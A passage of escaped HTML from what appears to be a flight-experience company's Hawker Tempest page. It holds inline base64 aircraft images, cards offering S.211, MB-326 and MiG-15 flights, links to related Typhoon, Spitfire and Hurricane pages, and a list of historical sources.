wuwG2IBBueV\/Udyb7sj5WoAHy1ksurULVquRHk60unLTEFzLqz1KDniSZIw+YCQ5CUpwXGl85nz3b44po9O\/FMpAeazhQbA8ukrAOikZ9VobwZ\/LgOEOL1IOSYIuhRyHD7jx0sBBkxCBUKBayusMlL2K4xZZEp4BAJhW78mgCAZtmKDPOJSyKDLREnz\/apwD3x8qJihZw8dE\/T8QhBsbS3\/9WuNhcUN0jKpxN2zi4+oUiyBbLK2ArTtiUH3C98luJPNKF4G0cPlNfISagvOI66Ehk8AVDeslJgIwjLKqkLAVlQyg0gBPg3Azgr0bYQtNtdlty4HEUJ6QD2hpSCD7+fme+wjAnSKCxjGERr8ugc5Hv0y2whRsCWf6Fpjv3hr208pyUUUSxToubqSzDp4QcAbH1UYSSOMHbv3Pdj48YGgB8KHutZytghp+fn1rwtzo9wMgQINvLXS8zLudGnA0vqMCyjB8fk8+uxEatd9JdlR\/1TXer87na7KZMGWOIq43nJagn7jAB\/4KnjE9XwgS1BEVuOl09fxQIJ5UdRIy3bUP+PKGBNPsV19osm+QVDaOG8CtsJvTZFS3vtSFTV+WHJEDCK+njxsP1Fdt6gaciUa2uk0CRRxEj0IT9TKeXav1+vx9+8h67OlNT6zNWJpETGBVCTS94fJLQ+cVVcGr8fjfn88HjdpMVHP5VGiWbc9KHTaPHarGzjEKI9kJAhhnoGJY7xwbNi+N4Ha06QIOBsuek7SdE3T3CVPRfQUEr3mpffXN93JeK\/jxawUYSbljNq8Kb\/mmJbfcuHU0Q2760M41rRDp6axRCXPmTatx+9F3LjuDQXSWQVCkO0grUDP79j6tLwfteLtvfJhYkHhjFNPf7daDvAG1bwNQB4swdvtNZXkYSb3rlMgRJrIxUTGhAxXpuU2blrZeyK87wpNq7O5DIhyOOhDAbYFRQiMgujVxdBVnex1CsxWRz3RaXkFw5YnOivKh2lu0S1HUv0BEPwnfN33+EciI50Cnnp\/ZokCYULDMKr0pzSob1Gl5c3ClNKavnDUe+e0v5yTfwWghKMDaiKo7\/R+BB0hvV6LFdgTSHbVIFTgjADVdqIJh0JPy3TYRo\/eethLPMm7VE+YSAQKdVnHNrwtl+Ndkn\/xUgW+gpIK0jEQoiWAFEASltsl+2fOtgoaOpNvN\/fxZk0+yfs9RBso72y2albwNPLs8wQ9gLdkOHDzLH8HxbBMruXESJecljfcb1YRLKPFQzA6vEquqQOKQ23RPhzamO85UnCO51AGEOhgqqpkRJAPn15pFJ0AgEIwiSQsfUrZl6ZhPtNe5XI\/BlSP3mOr8E7BvRnpKrR48fjGVE1gkN\/NS9A93+E8Ml2mmpDw0EjtAyaqrcApD9aaRsNXbDhAoRvvt3iDyfSnD0RRnuPh2U\/VPIqtd6jW5+rrtGonw8K9NAbejY1E74eRxtQBSqYicr7QTBkFjPCQqH7qvPh80qpl3PRyBk3sXgXbMTTGOhqpCLt62k2F3BDvNVfJWIDsNRtZXHRxLxPyvntO\/7q9Xld2jacu4hFsFnb63R6b1zgHiPu\/EI6aZgd9qfpMhgW35hBHhWuRAhm7vm39i0k5vq6vK4n7nAsHobjdTMEMSyAaeISnvAgf5EaicRcbKMRNMd+FZs8msmpD9D1R4Sz2vuRKyuQPOZMTovHVFrhwsE2z3VJ\/bAfj0RGEbg0jHcLox4llh3CrJN6Hy2DsdUNV8AtvBtIHjtzcH59mT2jqCCR+Y22ba7fZEO77MySoTH06XmEdz\/VGyCE4dGWDAvE3yYJhaugSQJNHVH81Xi\/19P4OlO8W70xAWzlwAqPFkEPswTDLK5zrRXzDkRVkmytMzpR4KCwI5wtuKJY067pc7cYTEmzIG8T0A2Ondm9GyFFqibYVfKJhehkRDc5UQEenrNxeK5FDTV\/D02a2u8emf4tsjR3sZxv33u4Pvru7xREyhG9hgOCAmVKgRxSynIOthngHzBON2k4CGr+5IgmJU4PEt526GD6JNwl967vJdxswb3njNHr1wxg4VuBo9J7jHr5nQolGLiWQ2DU1n50vHG1t+0\/5LHzT5ZYAuBc7fM+SB1Wf3u3ZMxOWRv5n3I1oHRndCOH8af\/\/f4BFCHKzUy+\/e1\/cx4wa39v9yr8z8R1v1tnHtotsn7Hxtdr6N36qVatWrVq1atWqVfs\/2399QYxaolWAJAAAAABJRU5ErkJggg==\" alt=\"SIAI-Marchetti S.211 side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the S.211<\/b><span>Agile Italian jet trainer<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/l-39-mb-326-jet-provost-in-italy\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAACQCAMAAAARFs1KAAAAYFBMVEVHcExlaUNbseJssstwfl1vdUx0fFBze05ygWBzelJpttiNk2ywtaR0fE+NlWpQUDRmakRawv91eVRAQCR7gldrcEhfX0FvdkuFi2PAwKVNTDGRnHkKMn5YWTtGRiovdLqSyISMAAAADXRSTlMA1\/7sG6PR\/kB1l9L451oyxAAAC0pJREFUeNrtnQtbozoQhrcKpFhDI4bLlkX\/\/788mVwg4VawJNTnzId7Vj2rbfMyt2SS\/vmDQqFQKBQKhUKhUCgUCoVCoVAoFAqFQqFQqF+i87IiHKGwipKaLylJEUlYpZxQR8S+iEByxkEKCoRWjoZ4CKdIJCgQVrb2VdERkQRHKWQQOVWFpZLRoQiPcZgCKub26JcloWOh0woKhPSirCUTJoJOK2hUt1W0BZ0gkuI4hQsiObWMopoIIkIcnVY4JU4lUpYTFoJO6yggIohMRnV0WscFkbKYAoKZVsAg4g59yfikiSQ4qXUIEBFEGGPVGEiG5eExUb0oy7JllLgeq86yBp1WqCDiAIHycFCvEy54CKHTCqPzcAZeWEnluiupBp3WUUAqUa\/339M8BBHMfcNE9WSYVxGrXicdj6y5oNMKoni0atgHEYsHOq1jojqoq9cJzWyh0zqgVicFK5hZOSS1CwSdVqAgYpsIa0UpYiZQMlfotAKVhoM1kaqqBhmWAYLlYfha3VoTGXgsdFrHBJF+TWQMBON6kCCSOxNXrCvUJ4DgnFYI5TNrIoSPgWTotAIEEToMImQ6y0KndUhpaC2sT5kIOi3vGswvMmu2t55yWjhivqO6C8SZ7Z2K61gehq3VSWvN9lJ0Ws8QRMjU\/DuWh+GA1MSdPbGXDNFpHRLVySCIUMy0jg0ilM60+E5Wh+i0PMtdNSSspMthHcvDkEBgn0h1B0iWodPyGtXd1ji3xXeSR4PlYchKZLrvBJ1WOCWuz7IqkTkg6LQ8A5lrXpwFgk7LbxAZrYmQhflFdFreS8NBb5YVRLJ5\/XKnFTl6sifnAiHdFPx8CPml5WEUyYOO3oReQS8fHx\/yk1fxnSc6A2kYREQlQubW1X+l0zqf0zdFARAs6AXIpIcbf0qcU2jMjvUlA\/kdc1rGGD7ucBhKWMyhLy4tXbXsvoE8caYlYgKAeN1IYUTl7bDYci5YAW293VWQ+wbyfE5LcEiF4uRBEpYHezvGUsbbRFYYyPNkWiJSp7FQkuRcnpK3GxDQIUycY2iIWh8h9C6PQ51WJA0iAeUaBGyThGe+KxDhuy5voX3XYNVwrYEIpyUSxXBPNtJ5K7glqm4crkDIrFDfSQbIy\/c\/oe\/H6TRZ3QQ2k\/Few\/sRRLfEZ5dLnKY+83fwSBAcYvFIwilxw8DsHCajfZKSwcs\/rU1EvkHuTzR1XYvvBEUyFUTqbKUaQSVPEvDi+xmMCtDiV14uF\/kQIOGXlGGQqVNZeiCvMI6Gx7\/vDUF8guGr4NGoz85Bg8jwWKZsg7j2HZzmSS7dOlgN0IFpiWglAjhJOI3Ti5RGDVLY4WEIXSTRGbdtIFuA\/BtbFfDIui\/OoXzzEAjZxCOjlt\/g1PEp4N6V9RhZhzWbb4El9ObWZBqCwmA\/DF0lCCI9kPU+63sM8aVWDqvLuQIhSflPHRbITgnsRK1jdF+rHpCuFKl3A9LUmXZYXWkSIo+PE7I5w7I91p07VyWjZOkfrDHJei0QWmU2kO\/tQAzEpgsgVlDxaSQRwMgJ5484rNV37qLfrx\/mbhNpdgHyOnBYfo0E0skEPL5O4++1Nuxw5y66mR2BwBlGzBpdpQ9zrQDy3QUQYyDwC7pIEu0PQ9RW4LrJ2JeQbQFk0527ZCJ302u+\/rfVfWIAWVIz0OuEXl5fLCDSRDKbB\/zPb62d3dZZzvpwTqbd+laH9aDH6mb966GGgT8vFsUYM39YkYtfmHeq5FdWCiGhcV5zeJjavgHNg8u6x3ZYFiywn\/Nu5ZYMGZy6NKxZrO5IpkHOOfZU+uLVYFhsle71pGq7z1ih5r2LKgdYWW9cdc41XvH3Hrv2VchQEaMvsKwMVYcTbt+a4lP9LOTNB8+2fxWdFl6qS4ONr15FPtBGC+lMLa\/gprdtLZuyOMuAxreTfH2loMLrOT00XwQhQ9joxNSPwCC8hnouZqSvt+vtdvu6Xa3h7sdNP\/XCMoyqv9x3wHDnkIl8NPei\/eeyDnQ\/nGt98lDbRWVf6euaU136I+u+rycFauO6xA3AgAq8c0Sr3kGitP8wdoJyN\/oBDB0yctdLVQBB3+hXqZvW1ajialJEBn6eU3HBV8oJc863h+6R+krybuxanTxsLKPmkgiFRbzk7jL\/UX\/DWNTVKYk3mUpkMls1HrBkLjF0g24DGOhW8NkhtZ0ddVdSfOVZNdlkITupsaxNmZn1LbBayI5okq7tWElr4EEqZQ8tuKO1ul0rSvZIaXcaxxkL4ebA550tZO0sHjy0nMAjyZp1iJhIDi2YwhdYw221pt4uwacW28DAQmRcYnZKJ8KUOr2I00OA1N1pb+AdIAlKRFyJlifWKzsD2SQaWhMDCcmRoNCq0Nq2Ayu2Uj2Rb1TaaQYDMnAgCgpNlsLKOeFPM94rTURHU8hy2qudblwnwl1n9IYQlBI0u1dE7aMJJ6oXlinN59zXOZbpXDO+OHk6JHJmTNQFrB3kexsEP1YWOe9XVbw5rJkFGmWn4o6Kpxulzm9\/J1U\/mY0IDqJUbH9MYgiFVXVwAxn6r2QaSfT2\/pRATJsIAZtol3PwH0AREaZu\/Ef0pdc3\/\/ac6fuTAVHOlkI6rlBcPeiz+evPca1ZUYbJiRki52ezEAEDMnJPKJS+mr\/v781RBmKQzBB5fw4g+mVUqkr1CMMA+fvuyUBWv+D8\/KxAdJNqVZTt1TuMzkL8mMj6qc65N0w9HIiMGQWDkBGAhW8gGxaUZ940agSEB7eQoiyDGIYL5G9zXATRUznnZ7QQ3wE8rIVsqqr5MwIpgtMwQb05NILI1s3oCYGU1wMEQJrsYI9F1wb1sDGE3Q4B4qkK2eCxZguRgy2EsNKsewXTrfRWpW+Zw57Zi9mI8PYOdVIHJPhsL8xZmdUy3xEF2jQ+r76mF1dW6VJzh1RedEOF6q8QcHj14Cr4I9O6pSrU\/XCRMKS4H49V3wMh9\/vDqnnBZvcq92vzsBpS13XVd\/V0XTvB5rG4NBe332IfGF9Cn0ZFQCAdBqtbsDjNN9RdGrttommyYZeh7MOErr2ejy9AZgkH+i\/Yl9RtZxRKLPMLhFjGMDGap6X1ddirB03ItaaS5ey+nKbAHXp9Bq4LJrXsMVRo1q8W6n86BuEXSF1rUygWhq4SOBb7T0xrnqQCv7ZgP9Cgb\/MBPux6+1ySgvM12xTzNY9hbyCmMbVrQa3uDlN1itP77aSXvmNSRJGc7aNRd+0qMyJFef30Lvaj4bfHX4Q73QFs9x3fGRAWr2sxlacfXMxO45wVBfMmHY6cHiT3tAhYoWq\/jgbi7n6AWyWfADDUAgt2ire3YZ9TwSU+nU7C1VWFTy5LFiVhiXrxyx+VQrqbzOqGN73v0KpsNcAvj\/9IkzFcpI2nOI0e3KIAe5IFmGKYsAUEJHPfmw8qXwXVN3ulBn3bsK8HIm4tgLHXxip5hAigATLzu2+8QtElyb5cSpr7UeXaO4NDLPwdsqPZnNjJ9jGsCIJFbZGATuTH0ZR57hGIumNPpzTYATwajnJqJxlxmCyDQnm3Uk18XU2Wq3TPTelC89YW3njkXHioE\/ioA0\/N1H5NA5KIWNXvo2J+TMikamajmbuZbqDSLmZzP+5KZgRJnB55gmk0Yz5Rd2BJnMbagobZlH144C4+rWCsmLtyO23dl4L+tUkShz0j7HEnB5QiY0jG150GuGY3Nj+myoM1cMUB9n38IhArQP2J7BOAYqWTuobErCNrzbUKXLUTA8Uh0YeApef\/3VsK6QO\/R8c2gStM1Uds6eTIMjf+gGBXa6IsAc6Q+lWO6aBA1l0DWQdwRfoj3aDu557yGHgUCoVCoVAoFAqFQqFQKBQKhUKhUCgUCoVC+dB\/CKPAjcVDJ\/8AAAAASUVORK5CYII=\" alt=\"Aermacchi MB-326 side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the MB-326<\/b><span>The classic Aermacchi jet<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/mig-15-fagot-czech-republic\/\"><span class=\"fico\"><img data-opt-id=791639987  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Q8SiPIH6shiszussiPklLT5gTS74yJS5et5j6VtIyxHQ2\/Bc1o\/jLKVRmiLfJ8Vkqp9MPpu683XIOY92Oo51mlE5dsrd1MeHpfnSArqstNIh7juvuGxpfooVu+SRu1PPe3W5RHluKRV7rbq9oaljaOrDKJyPwbuy5QJafEzv1sD9nnEthEWZ3jVYe++7j+Qdlzs9zCrWyL\/jNei3mdllxVpbpn7OLutRb3fQlTIFlE59pm\/h8enPn2r4Wrhng\/e3vuX\/\/ATvc\/\/g5\/qffBdN\/Xc+diFAaIZBcp2kVXGj7SU0VZstfz4X\/o7tWmqaURVNoi0kFhJWtZgXklrWwmL4\/yB9Pql138XQUkD3XGPPioEnbfgvWsyap15KRdyIkvSyvjG2W3l\/S0BhwjSxrzKDaLad+aLPtmNEVGRs4Z+If0il1KXDuz86ZF0SPlhUlnE1bULqgnl0oTvhpXE6cg3aEz6RFxIyzeI\/BDS2p4Y6j\/abScsQ1u7uOcX8rKde6txyUob6uQ+i8PZFhFIqx53bKPvtvJrEHccRwh1e\/OQ9iB4f2rp7CtHjv\/ha\/c+e+LV3vGT50aCv3RQtkuybQZ8k1iMZCuRnV9kmTeOjlQQV\/CpS0\/0\/t5nPtpzPAVtucdCbCXYB6HewX14\/fge5Ye9voG03v37\/2NjDazH6plTwH6ApQAAEABJREFUh89eOvmvrZX684C5ICxHQ38g7WjnU2tSx+Q+SzBP2sa81MtOKzLjym4r6WFyWsdEQRv4CrwGYmQjA7u8wDd9XkkIbrhh9bj3p7yeYnd8x20H1skSPoCkI91VZr7Ra2mXrUwp6f2QsskXO15KLiV9UiDP1KUPgisN83EkBUdU8q7TTy6X+MmTX+0FyKkEu39FquznzJnTS\/c899Xena8f3birQ4Y1ECX4kQH+Bicda+Sobv18wFhP62utAz6cFeaCsEx25\/nlLzz\/ymuP3HrLwaX6IZU\/KpCesj4hyHnAJPPJrioy80j6sce\/MfC9Le90vYnnH\/CCZYJNwAVsAjEBSXbBN3ZIRvD6CvyO2\/cfLfGu2\/YfkSaDH7nlpsOBb\/ruuuuOQ0HmQdodR9IDH0D0SA8QP1jjfnj3oYM9eaWk9wPCLPMQZNBFoskjPdRBnUY8YLwk0EOM0SNjJ0NwYpjO1g\/ItURdLu3r3z9ojADhQ+\/7kXVwdwelD\/gb+F598od+6NZ79+7a8dCOi2cPW19rDWKhjBfxJLaQWT7gtDEtzA1h+dbQb8HbQQjeSR7yOEWg0X1ikdsN8xk0hszVUTZwFwfm0AVv+f\/uU3\/Q+4+\/9rWlEr\/4n35rIy0PvnPsD3qkNs6unT288+LqES9eCjr3Rgjl\/Xe+7SEBGUkPEA2dNA\/BS1qnUeEoa45k6kgP8smgvK66XbZBbSTPXMq65hfIi94lPdSB\/Ogk0qyBHPUrPuUhiUj6ZqDNrvppnzQu4wRzA+MZBdYuOzd61lEbYkOMgHgSVz4gD9509oQPOCQGJZGN0mdXmbkhrAxu9fzOB+kckUCKZC916S6o6xPPpw0CSJlR6qbsOFK7oC9ANCWQReBTk04GyIfu0zTIp6Y5GEskHXyymyMdBCz4tCQTvAKVTgpY4B8BZ8xkPwhMbctXlh5oY1Soo2wkHaTrdtkmQVd7o7bdVXeSMYxaZ9S7r2HjL\/Mzh1HHMGq5so8yBvUH8kGsiBNS22yAHJEY+JC0I7NTtysrSUydUTB3hOU+6+zF9SMHDhy4Mn6OSaLUY+uSHGUbjACS31WXU0sgHOgiHKRSkw0bwgF9Qcgm0kKDcRiTLxZCOEgnQDQBkgmQDZ0MEI85pk1zA+lIeg1zZVNmGOqy6kHs9BplXvR+Ul1jIDeDtK8N7SVNZ+uHlIscVj7tpHzSk8q000+mXfkgTQI9SJoE9lqyQW0fli59Ina1AaknH9jILnuIDJkpA9mNITG7MQTmaiK7MO11Ye4IyyC9Bf\/SSycfNzEOAPZIegl2QDQBwkEMyiEVRAP0EoimBMKBkA2pDciCIZsgZEN2kQ2iCUqyCeEgncB8A\/1NCr5I3VrXfr+82p6yaSMyduVjo0OZF72frOuqPwnSftqr07HXMuUik58x1OnYu8qXZUtdnTq9tGt5nT3tjCLLMoW+VLfTL0856Jffz65OiTxTKV\/m0Wu7udtRei49k+A5zFUF6XlcPXdx447Mt8YnX3nlKAKzA3MXpt1gLgnLfdbq2v5PnlpdesAR8bXXVt4R3e7LpE0yCOEgmgDRgIkimnKH049sEIs8dZCPNIRoIpFNELIhLRaov50wBoFiDHQSovfLq+11uq5ftkkvkbps\/fS0p8wkSLuRdXtJ95Pps65fp1OulmmXnV7Xq9PKgW\/txPCsgSj0Oan0DHmm6ja0B3keS+nZ7HomteW55I88c95Pkwb3Yo6RG7uvX\/vt9ZDXXBKWASMtx0Mo9dcu7HjynYdu65mkXQ0gl0g6IJoA0dBJ6Ec2+r1W4AEylzw09KBfXm1PWr2ynX525YKyTHRtRFdOmpwUaSsy7UVqt0uPLTL1lYc6zdYPaUN+6sWWtLwSHlYP\/qxhDPpM\/+OmQzBlG9rSDngmwbMYeBYDzyB4BiPp5fOYb4L50FFSuzYDyGt5z6VPzy1hGWgXvP7guIi0TAQERiQduupuxsaBqV\/qsc2TLMc3yBfJS\/nI2m5usdFTjl7apUukXGRdtk6XdcfR6\/bLdun98uWln5SJjL2fTLmuNkpbV30PsAd21kAOZZ+bTact7UBJPJ5H4Iugyxf9bGWd+NpmZeEIy27LcfHFl08dMRGX82Di0l2Q14GxTByYCqWuv9jnRWZ8o44t5SMzj6TrdmJXrs5jC1IuMmUjU26zclj7db7+6jGkTGSdr06JrnJdtrJOdHc60ZsczwMLR1imh7T8DaK7LcRlxyXAvHQKAqeEPPWmhbI9\/Uyr3Wm1k\/ENG1vKReo\/eiRb3c6gPOVLdJWt2yvLT6Knj7QbGXtk7PqInrxaJl\/ZQSjLpY3SNqhuyxvsgfizLLWQhJUJhLh++uEfu8\/l\/LdfOHMYgZ0\/f+FxkwVlkVh06VKXHhdlQG62rXH7HqV8Ob5B5VMuUtnokV3zS57yXfnswThlU2dcmT7qscQemfxI\/SSvlmUZ5QYhZdNG0oPqbEfeVoxrK9qMb+LPpMmFJiwTCFzO+yVTOy8E9pcfvG+HHZhvF5FYJs\/B0VN3XKmN1NlsW2lnu2Q5ly69a35lua78ci7jlC3rjaOnj3IssWmHTiafjI09einLMqVd+SB2ZWMj6zRbibzWUNrSVmSZtxm9bG\/YuMp+Um+YHKfNsv1J9WuGsLocYAeGyJDYybWlw8rUDs6CyBsVZRvD6g\/LH7XPrSqXuRhndH1FZ5cukTy2rnz2YJyyqTOqTN\/pI2n1Y6t1aejKj22YVB+US5\/kMOTuKjLl01Yp6fI3I9U1RjJt0UdB6g2To7Q1zTLXNGGVjrL78sfV5QW9\/CwIvR+y2F0y9eu8tJX8pOdJZszGlHHGFhm7MkHypLvy2YNBZcu8Uk\/dWmZnkj4j63LaKuGlxcA7RCW8P1SifIdokP7EU8\/35D\/5rReXIr1zJN0PT337VO\/M6bM9Uv2UVz8wFmM1\/sxvUskv2iHTBn1RkLGX471uCMukd++98Qv+PIAjBi2goBJMgkogCcAuOaiMwNMn6I+cN5Q+yBhji+wac5mXel3l2FK2q1zyynL0fnht7Y1\/FBTh8C9YlyDrQVqzAEEEx46f6pV47vmzvRLWfhQYo3Jdkm0UlPXpYCzGauzmh7zKtuLHWirTZYuPk6fcoiBjL8c7EmGVFRZZ37Xee3rY+PO2reBRdpAclCfwPEja6HI8+zwggVyOMbau8SUvsqzXVT62upz64IFEQIGHlN9K+OAARMPnJP+CdAn9SZOLDvNDXnzBP+YTP5aSH7vy2Oo8tkXGdUVYoyxUv1+ZHKVuXcaDk0Cr8+YlncA3njq4k5YXpHxk7MoCAgLzBgQEHroA+dhBgAcSAQUeUn4rkT6uV8kX\/MN\/XT7IWvB\/8qN35aXMIspGWFu8av6MYYu72HTzdXCnQcEubxgBeZCQDyAg8IABAgIPXZD2mxzPA\/zH16llbeiRWS82OhnU6djnWWZe5RgbYZXeuKznSHhZnfr\/uxZg6p1M0GAZzOfPrvWyI8pOaBgBeZAm6LZVmcADfB3SyrpFai56Yi1SXqlLzzsyl3KcjbBKb1zWp3kkvNxcL38wSu9aAPZZoito2UJSyCk7olmOq\/U1uQesX2pHT6xFyi916UVEI6xq1aa9w8rvB6WbBFTSs5Z10CIqR7lGUrNeicn784sIZe2sqdgqdWXYSCh16UVEI6xq1eyw9h\/Y2\/OD\/WSVPXay\/leAElCjNpQgixy1Xl1OfSjvoxwtEFVdtqXn1wN33L6351cResX\/rKtkGVvRI+t86V5vvv+beZWjbIRVeqPQBYWfzxAghXksdRzC61ocnSXgItlAeaD7TaJ+38ghpdxF2Uk58rkMB\/ch6jfMvwfEoX\/lxs+4lKMVA4kNevL66clfBJl5lWNthFV6o9Cz4ALEP4s0DvkUzfS6nF7mR085\/UJ2Qo5sSKcG8gGkAwjIbgmkS6SPJhfHA+INSqJKjJiFGCFLW613lVFnkdEIa4TV80Nkk+y2ygt33SSA6GBXVBJR106oi4CQkfqLAA9dxhm9lLUuPQja6spnXxR0jR8xBa4jxI5f7fSBWRJR5ljaEleRdZnanvxFkebqL1Ru2H3pQ42wxlg1wWNbLuB6veEVc+GegOH4QbW0C4PKTJqn3X7woMgjS3hw7C5LmD+wlWX76R685EUvZa1LD4JxynfxXEr2+GYaetrokmz9YK7yyC7IM+4aGTvp3\/8TOz4opfuhjqvEV+yRsfdrZ57t5uCDHYzzuiKs9QvLG3+aUy8gp3DGKFDXbsvDPKj8RmDu37dRRJ0NpfpP7sm0B346FxBCgBgGQT9Qlkld\/0Zh9LRP1kDEbGQJ4\/PQlMhcvr92rprNbJMeaj1GIoAQxDR0bVhjUrsIkpQeBGOST04Kv2vO98PqZy3q+I09ss4f1u485BszkvIPdpQvX19XhOXnZvyrOwcOHOhxSLkwdbrM69IFFELYf\/kbxa58Ad5lH2QTYDVKsujStecBKfPShrxaZ9sM+EkQbaaNSev6cmHSupPUCxmqW+rSWwG7Kv86tLUcpX1roZw1JiG2SLYyX3qe4Vt64xNjJVGxwXVFWCbs3zz85rHvPWIRD1wmLqCD\/HFhZ2J3s\/8ycYFPYbsahDZqW2VwjVpnM+XSXz+p7eTRAzaBlPSsJWKedZ8\/6G9qot\/9I7ISM+PEYcpalwwwtsgyL2XmURqnHVVIyoeTD33y1ds\/dGU7f90Rll3W4U997GG\/ROonlZFXflL5wGUCy3tTWfBRFtcnIuICR6pR6lqgtD1K+ZSdVHb1l35rqY\/Y6MF2klXGsOhy\/+UPtnoOox4By3pd61naonetY9nOduvGiagGxdbB559cNs5Xz6y+\/7ojLBMHv0TqR\/2Ql3+FJ78J\/3pv6fMH9y2dePnlUydePbOm6BV41QA4ucaVQiMqZSBpa8RqExfbbH+1LyYeyCYr9tuhbLLZbauOrHzglQMYJR661jM29aNrV5rcauinhGelhBiq4bfLsquKzDifXXnPObss97r0g\/tXvnndElacQtp1hcD8nPJf\/\/RPvgOWdq484KeV3Xv5tVIXzc7YfuK2hB+W875UvRjlYtHLxaTrG8rgkt4KbKY\/85rFHc4o8+7aoYxSbx7KON5kHI6A\/e6rxo2HuvywdBkL0clArA6CeKgh\/u2SSnheSogh4IOSnJAS3zj60eWT7159ZvnShfMnbCLuPP+9v+06ZxaEpf+FRElidmI7dtx+qHfp5kNn1lcOX9q198jLa5ce+f7q+RMWQfA5TpZ\/i1guFr1cTLpFLlEGQb+ASVBFcqzFJtlKSQ\/qII59mDQm8xtWruUP90Du4JBV131V1i8tJU0OQ794YbeGgXgrYy86GYjVQRAPNTLmYVKs1mSlDrL68PrxPfJWVnY\/snff3iM2DDt23vbjNhFOQzYWjbB4a0RwGHAeJyIxO7Gdyzc\/4Eh5+sLOn0dkPhVAs4ITmYHtP1s\/lEHQL2ASVJFpqwxEeQnQfiF2n8sAAAOCSURBVFIgD4O6xpQ+tlsK9u0ewzT651O+rWGnHlu9ntZ0EPrFC7v+gmmMf9w2rJvngERMjnikdjwnYAflGbrlxtsPea48XzYMnjflgkZY8cQmJMdCiAyJASJ7fdfKYURmW2tH1ltfOqErC4jAIGTGJm8aSID2kwJ5GNSdxlim1UZ2KNNqbzvb4dtB2M6xTatv8QyOd9ok7zr11EueBQRlB+U5Ac+OZ6gmKPVKNMIqvTFl3QJYCPCJ4ZPDFtfR0mLlaHnyzNqjyMwnjSGUJEYHCw\/y5xlbOTaf0FvZ\/la3vejj7\/KPmBSfgQ9fUPbsxUuPQI53rlPEv2fBM+H5UG4cNMIax1tTKOsTBCyWRbN4iAwspl3Z2qWVjSMmQkNkvR27HkdmYAiCRFB4hcKuAwQMu\/xrFea5yHNb9PGLscQd3VqISfe44tR1iGMdiGMxDWJcvIt7UG9SNMKa1HNbUM9iWtgAoVnwn374x+6zbQaBYHfmmOkbzJX9Nx0539v9SEitHBYCE1iCLJAGeVCWb\/r16QFxICYSI6Q0+xWPXL7KQEqOc+LOh6lY9CErLsVpiCnxe6XuFJVGWFN05iyaSjAgMxAkggWpCR7HTRBM7s8EliALBB34ZARjFpgCNIFK70LKdUm2GtqeNhb9Paxpjb\/2tfViI4ch66y89REHYsLVROJE3PhgFEsbuPxtnTgTb+IOfvYT93zFh6w2ZoVGWLPy9Az6ETwBYhNUIMgCQQcb5HY5CAWjwMwxlBSsYIsvkIOV5V2P07ukoK\/hgajhYfLAQPRIti7IB215D4vshxm4uW8X9ZiMuYT8jJ+9a65s8pQlg7rT2td22O6LSGsUWEOwnmB9HdlI6279xYKYgMSJuBFDiSeyHsN2pBthbYfX56BPARgIzBKCFQSvIA7s4uhdUtDv3HvwZyLpHgiw0yPBQ+M4C9Ej2brggfMAeiC9o0N2wUO88S3s5ePLdkhEblyRxl3C5bPxk+xdc2XjDz4jAzvmEvxcol4T6wTWEKwnlOtMTwzMQUiONIRGWCO5qRUa5gGBnweALFE+KPRx4YHz8A2Du5TtRE0axl3DHGIbxw+lP+n8XWLY+lwr+Y2wtmslW7\/NA80DY3ugEdbYLmsVmgeaB7bLA42wtsvzrd\/mgeaBsT3QCGtsl7UKzQPjeqCVn5YHGmFNy5OtneaB5oEt98AfAQAA\/\/9ovNPQAAAABklEQVQDAPH0lsZvaYu5AAAAAElFTkSuQmCC\" alt=\"Mikoyan-Gurevich MiG-15 side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the MiG-15<\/b><span>The Soviet legend of the Korean War<\/span><\/a><\/div>\n<\/div>\n<p><a class=\"btn\" href=\"https:\/\/migflug.com\/flights-prices\/\">See all flights &amp; prices<\/a><\/div>\n<\/div>\n<\/section>\n<section style=\"padding-top:44px\">\n<div class=\"wrap\">\n<div class=\"kicker\">Related Aircraft<\/div>\n<h2>Continue the tour<\/h2>\n<div class=\"relgrid\"><a class=\"rel\" href=\"https:\/\/migflug.com\/aircraft\/hawker-typhoon\/\"><span class=\"rk\">The Parent<\/span><span class=\"rh\">Hawker Typhoon<\/span><span class=\"rp\">The brutal ground-attack fighter whose thick-wing flaws the Tempest was built to cure \u2014 and the aircraft it grew out of.<\/span><span class=\"go\">Read the Typhoon story<\/span><\/a><a class=\"rel\" href=\"https:\/\/migflug.com\/aircraft\/supermarine-spitfire\/\"><span class=\"rk\">The Contemporary<\/span><span class=\"rh\">Supermarine Spitfire<\/span><span class=\"rp\">Britain\u2019s iconic elliptical-winged fighter \u2014 a higher-altitude counterpart that also chased down V-1 flying bombs.<\/span><span class=\"go\">Read the Spitfire story<\/span><\/a><a class=\"rel\" href=\"https:\/\/migflug.com\/aircraft\/hawker-hurricane\/\"><span class=\"rk\">The Ancestor<\/span><span class=\"rh\">Hawker Hurricane<\/span><span class=\"rp\">Sydney Camm\u2019s earlier Hawker fighter and the workhorse of the Battle of Britain \u2014 the start of the line that led to the Tempest.<\/span><span class=\"go\">Read the Hurricane story<\/span><\/a><\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section style=\"padding:48px 0 64px\">\n<div class=\"wrap\">\n<div class=\"kicker\">Sources &amp; Further Reading<\/div>\n<h2>Every fact, checked<\/h2>\n<ul class=\"srclist\">\n<li><a href=\"https:\/\/www.rafmuseum.org.uk\/\" target=\"_blank\" rel=\"noopener\">Royal Air Force Museum<\/a><span>Tempest development, the Typhoon II renaming, wing-thickness figures, V-1 tally, Rat Code tactics and production totals.<\/span><\/li>\n<li><a href=\"https:\/\/www.historyofwar.org\/articles\/weapons_hawker_tempest.html\" target=\"_blank\" rel=\"noopener\">HistoryOfWar.org \u2014 Hawker Tempest<\/a><span>Development timeline, first flight (2 Sept 1942), prototype engines and service history.<\/span><\/li>\n<li><a href=\"https:\/\/www.key.aero\/article\/240-kills-why-hawker-tempest-v-was-dangerous-opponent\" target=\"_blank\" rel=\"noopener\">Key Aero \/ Key Publishing<\/a><span>Newchurch Wing, 2 TAF kill tally, and the Tempest as the zenith of British piston-fighter design.<\/span><\/li>\n<li><a href=\"https:\/\/www.iwm.org.uk\/\" target=\"_blank\" rel=\"noopener\">Imperial War Museums<\/a><span>Roland Beamont oral history on commanding the Tempest wing and the V-1 